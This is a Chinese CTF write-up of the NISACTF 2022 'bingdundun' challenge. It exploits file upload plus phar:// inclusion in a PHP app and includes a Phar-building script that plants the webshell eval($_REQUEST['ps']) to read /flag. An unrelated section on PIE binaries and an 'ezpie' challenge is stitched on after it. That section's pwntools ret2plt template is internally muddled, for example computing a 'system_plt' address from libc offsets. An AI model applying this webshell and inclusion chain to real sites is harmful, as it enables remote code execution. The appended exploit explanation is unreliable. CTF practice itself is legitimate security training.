[NISACTF 2022]bingdundun

本文详细描述了一次利用PHP文件上传和文件包含漏洞进行攻击的过程。作者首先发现了一个URL参数可以改变,尝试注入后成功触发了文件包含。接着,通过创建包含PHP代码的ZIP文件并利用phar协议,成功执行了代码,获取了flag。文章提供了两种不同的方法来获取flag,并介绍了如何构造和利用phar文件。整个过程展示了Web安全中常见的文件上传漏洞利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1. 进入靶场环境,提示upload,应该是一个文件上传与文件包含相关的题目。

2. 点击upload进入文件上传页面。看到url有一个bingdundun的get传参,我们尝试传入其他值尝试一下。

3. 尝试传入index,发现index页面的内容被大量包含进来,并且会自动在后面添加.php

4. 在看文件上传点提示可以传图片或压缩包,因此考虑php伪协议中的phar协议或zip协议。首先写一个phpinfo()脚本,打成zip压缩包并上传,上传成功后利用phar协议包含压缩包中的脚本文件,发现脚本中的php代码被成功包含进来并被当作代码执行了。

获取flag方法

方法一:

利用phar协议读取上传一句话木马,用菜刀链接。

http://1.14.71.254:28884/?bingdundun=phar://23de81832e6ba264115a6192202105f7.zip/reqma

方法二:

构造phar文件,phar文件包含我们想要执行的代码,由于index页面提示,flag就在根目录下,因此如果能直接执行cat /flag 就能出结果了。

构造phar文件方法

  1. 修改php.ini 让phar.readonly 改成off。
  2. 创建一个pharfile.php文件,代码如下,用于生成phar包
<?php
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("pharfile.php", '<?php eval($_REQUEST["ps"]);?>');
$phar->stopBuffering();
?>

3. 浏览器访问该文件,在同目录下会生成exp.phar文件。复制一份改成zip格式,然后上传

4. phar://协议将文件包含到当前页面,然后给ps参数传入想要执行的代码值,执行成功。

5. 根据代码提示flag在根目录下,因此构造url得到flag。

### 关于PIE保护机制下的PWN攻击实例 在存在位置无关可执行文件(Position Independent Executable, PIE)的情况下,程序加载地址会在每次运行时被随机化。这增加了利用漏洞的难度,因为传统的返回导向编程(ROP)依赖固定的基址来计算目标函数或gadget的位置。 然而,在某些情况下仍然可以实施有效的攻击策略。例如,在未完全启用RELRO的部分程序中可能存在动态链接表(Global Offset Table, GOT)条目重写的机会[^1]。对于这类情形,可以通过泄露库函数的实际地址并结合偏移量找到系统调用或其他有用功能的确切位置。 当面对开启了PIE但其他安全措施较弱的目标时,一种常见的方法是通过信息泄漏获取当前映像基址,之后再构建针对特定版本二进制文件已知布局的payload来进行控制转移。下面给出一个基于`ret2plt`技巧的具体案例分析: #### 实战演练:CTF挑战题目的解析 考虑一道名为“ezpie”的题目来自NISACTF 2022竞赛[^2]。此题提供了一个易受攻击的服务端应用,它虽然启用了PIE特性却未能充分设置栈溢出防护机制。这意味着如果能够绕过ASLR的影响,则有可能实现远程代码执行。 为了完成这一任务,选手们通常会采取如下手段之一: - 利用格式字符串错误读取内存中的关键数据片段; - 或者借助UAF (Use After Free) 缺陷间接访问已经释放的对象结构体成员变量; 无论哪种方式获得的信息都可以帮助定位libc.so及其他重要模块的真实起始点,从而为进一步规划rop chain奠定基础。 ```python from pwn import * # 建立连接至服务 conn = remote('target_ip', port) # 发送恶意输入触发缓冲区溢出条件... conn.sendlineafter(b'prompt:', payload) # 接收响应包内含潜在有价的指针 leaked_ptr = u64(conn.recvuntil(b'\n').strip().ljust(8,b'\x00')) log.info(f"Leaked pointer @ {hex(leaked_ptr)}") base_addr = leaked_ptr - known_offset_from_libc_base_to_leak_point system_plt = base_addr + offset_of_system_in_libc bin_sh_str = base_addr + offset_of_binsh_string_in_libc final_payload = b'A'*offset_until_retaddr \ + p64(system_plt) \ + p64(ret_gadget_if_needed) \ + p64(bin_sh_str) conn.sendline(final_payload) conn.interactive() ``` 上述脚本展示了如何与远端服务器交互,并尝试构造合适的载荷以期达成命令注入的目的。当然实际操作过程中还需要根据具体情况调整细节部分如偏移量等参数设定。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值